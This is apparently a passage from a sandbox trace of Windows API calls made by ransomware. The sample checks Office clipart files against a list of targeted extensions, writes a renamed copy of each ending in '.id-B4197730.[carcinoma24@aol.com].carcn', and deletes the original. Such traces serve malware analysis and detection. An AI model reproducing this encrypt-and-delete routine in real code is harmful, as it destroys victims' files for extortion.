Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0279.727] lstrlenW (lpString=".doc") returned 4 [0279.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0279.727] lstrlenW (lpString=".docx") returned 5 [0279.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0279.728] lstrlenW (lpString=".pdf") returned 4 [0279.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0279.728] lstrlenW (lpString=".xls") returned 4 [0279.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0279.728] lstrlenW (lpString=".xlsx") returned 5 [0279.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0279.728] lstrlenW (lpString=".ppt") returned 4 [0279.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0279.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0279.728] lstrlenW (lpString=".zip") returned 4 [0279.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0279.728] lstrlenW (lpString=".rar") returned 4 [0279.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0279.728] lstrlenW (lpString=".bz2") returned 4 [0279.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0279.728] lstrlenW (lpString=".7z") returned 3 [0279.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0279.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0279.728] lstrlenW (lpString=".dbf") returned 4 [0279.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0279.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0279.728] lstrlenW (lpString=".1cd") returned 4 [0279.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0279.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0279.729] lstrlenW (lpString=".jpg") returned 4 [0279.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.342] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=6938) returned 1 [0280.342] CloseHandle (hObject=0x544) returned 1 [0280.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0280.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0280.343] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.343] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0280.821] GetLastError () returned 0x0 [0280.822] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0280.884] WriteFile (in: hFile=0x538, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0280.886] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.886] WriteFile (in: hFile=0x538, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.886] SetEndOfFile (hFile=0x538) returned 1 [0280.889] CloseHandle (hObject=0x538) returned 1 [0280.889] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.889] SetEndOfFile (hFile=0x544) returned 1 [0280.892] CloseHandle (hObject=0x544) returned 1 [0280.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0280.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0280.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0280.894] lstrlenW (lpString=".doc") returned 4 [0280.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.894] lstrlenW (lpString=".docx") returned 5 [0280.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.894] lstrlenW (lpString=".pdf") returned 4 [0280.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.894] lstrlenW (lpString=".xls") returned 4 [0280.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.894] lstrlenW (lpString=".xlsx") returned 5 [0280.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.895] lstrlenW (lpString=".ppt") returned 4 [0280.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0280.895] lstrlenW (lpString=".zip") returned 4 [0280.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.895] lstrlenW (lpString=".rar") returned 4 [0280.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.895] lstrlenW (lpString=".bz2") returned 4 [0280.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.895] lstrlenW (lpString=".7z") returned 3 [0280.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0280.896] lstrlenW (lpString=".dbf") returned 4 [0280.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0280.896] lstrlenW (lpString=".1cd") returned 4 [0280.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0280.896] lstrlenW (lpString=".jpg") returned 4 [0280.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.897] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=29212) returned 1 [0280.897] CloseHandle (hObject=0x544) returned 1 [0280.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0280.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0280.898] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.899] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0280.900] GetLastError () returned 0x0 [0280.900] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x721c, lpOverlapped=0x0) returned 1 [0280.937] WriteFile (in: hFile=0x538, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x7220, lpOverlapped=0x0) returned 1 [0280.940] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.940] WriteFile (in: hFile=0x538, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.940] SetEndOfFile (hFile=0x538) returned 1 [0280.940] CloseHandle (hObject=0x538) returned 1 [0280.940] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.941] SetEndOfFile (hFile=0x544) returned 1 [0280.945] CloseHandle (hObject=0x544) returned 1 [0280.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0280.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0280.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0280.947] lstrlenW (lpString=".doc") returned 4 [0280.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.947] lstrlenW (lpString=".docx") returned 5 [0280.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.947] lstrlenW (lpString=".pdf") returned 4 [0280.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.947] lstrlenW (lpString=".xls") returned 4 [0280.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.948] lstrlenW (lpString=".xlsx") returned 5 [0280.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.948] lstrlenW (lpString=".ppt") returned 4 [0280.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0280.948] lstrlenW (lpString=".zip") returned 4 [0280.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.949] lstrlenW (lpString=".rar") returned 4 [0280.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.949] lstrlenW (lpString=".bz2") returned 4 [0280.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.949] lstrlenW (lpString=".7z") returned 3 [0280.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0280.949] lstrlenW (lpString=".dbf") returned 4 [0280.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0280.949] lstrlenW (lpString=".1cd") returned 4 [0280.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0280.949] lstrlenW (lpString=".jpg") returned 4 [0280.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.103] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=15856) returned 1 [0281.104] CloseHandle (hObject=0x4bc) returned 1 [0281.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0281.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0281.105] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.105] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0281.106] GetLastError () returned 0x0 [0281.106] ReadFile (in: hFile=0x4bc, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x3df0, lpOverlapped=0x0) returned 1 [0281.135] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3e00, lpOverlapped=0x0) returned 1 [0281.137] ReadFile (in: hFile=0x4bc, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.137] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.137] SetEndOfFile (hFile=0x4a8) returned 1 [0281.137] CloseHandle (hObject=0x4a8) returned 1 [0281.137] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.137] SetEndOfFile (hFile=0x4bc) returned 1 [0281.142] CloseHandle (hObject=0x4bc) returned 1 [0281.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0281.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0281.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0281.144] lstrlenW (lpString=".doc") returned 4 [0281.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.144] lstrlenW (lpString=".docx") returned 5 [0281.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.144] lstrlenW (lpString=".pdf") returned 4 [0281.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.144] lstrlenW (lpString=".xls") returned 4 [0281.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.144] lstrlenW (lpString=".xlsx") returned 5 [0281.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.144] lstrlenW (lpString=".ppt") returned 4 [0281.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0281.144] lstrlenW (lpString=".zip") returned 4 [0281.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.144] lstrlenW (lpString=".rar") returned 4 [0281.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.145] lstrlenW (lpString=".bz2") returned 4 [0281.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.145] lstrlenW (lpString=".7z") returned 3 [0281.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0281.145] lstrlenW (lpString=".dbf") returned 4 [0281.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0281.145] lstrlenW (lpString=".1cd") returned 4 [0281.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0281.145] lstrlenW (lpString=".jpg") returned 4 [0281.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.146] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=8424) returned 1 [0281.146] CloseHandle (hObject=0x4bc) returned 1 [0281.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0281.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0281.147] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.148] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0281.149] GetLastError () returned 0x0 [0281.149] ReadFile (in: hFile=0x4bc, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x20e8, lpOverlapped=0x0) returned 1 [0281.206] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x20f0, lpOverlapped=0x0) returned 1 [0281.208] ReadFile (in: hFile=0x4bc, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.208] WriteFile (in: hFile=0x4a8, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.208] SetEndOfFile (hFile=0x4a8) returned 1 [0281.208] CloseHandle (hObject=0x4a8) returned 1 [0281.209] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.209] SetEndOfFile (hFile=0x4bc) returned 1 [0281.212] CloseHandle (hObject=0x4bc) returned 1 [0281.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0281.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0281.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0281.214] lstrlenW (lpString=".doc") returned 4 [0281.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.214] lstrlenW (lpString=".docx") returned 5 [0281.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.214] lstrlenW (lpString=".pdf") returned 4 [0281.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.214] lstrlenW (lpString=".xls") returned 4 [0281.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.214] lstrlenW (lpString=".xlsx") returned 5 [0281.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.214] lstrlenW (lpString=".ppt") returned 4 [0281.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0281.214] lstrlenW (lpString=".zip") returned 4 [0281.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.214] lstrlenW (lpString=".rar") returned 4 [0281.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.215] lstrlenW (lpString=".bz2") returned 4 [0281.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.215] lstrlenW (lpString=".7z") returned 3 [0281.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0281.215] lstrlenW (lpString=".dbf") returned 4 [0281.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0281.215] lstrlenW (lpString=".1cd") returned 4 [0281.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0281.215] lstrlenW (lpString=".jpg") returned 4 [0281.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.216] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=7878) returned 1 [0281.216] CloseHandle (hObject=0x4bc) returned 1 [0281.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0281.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.216] 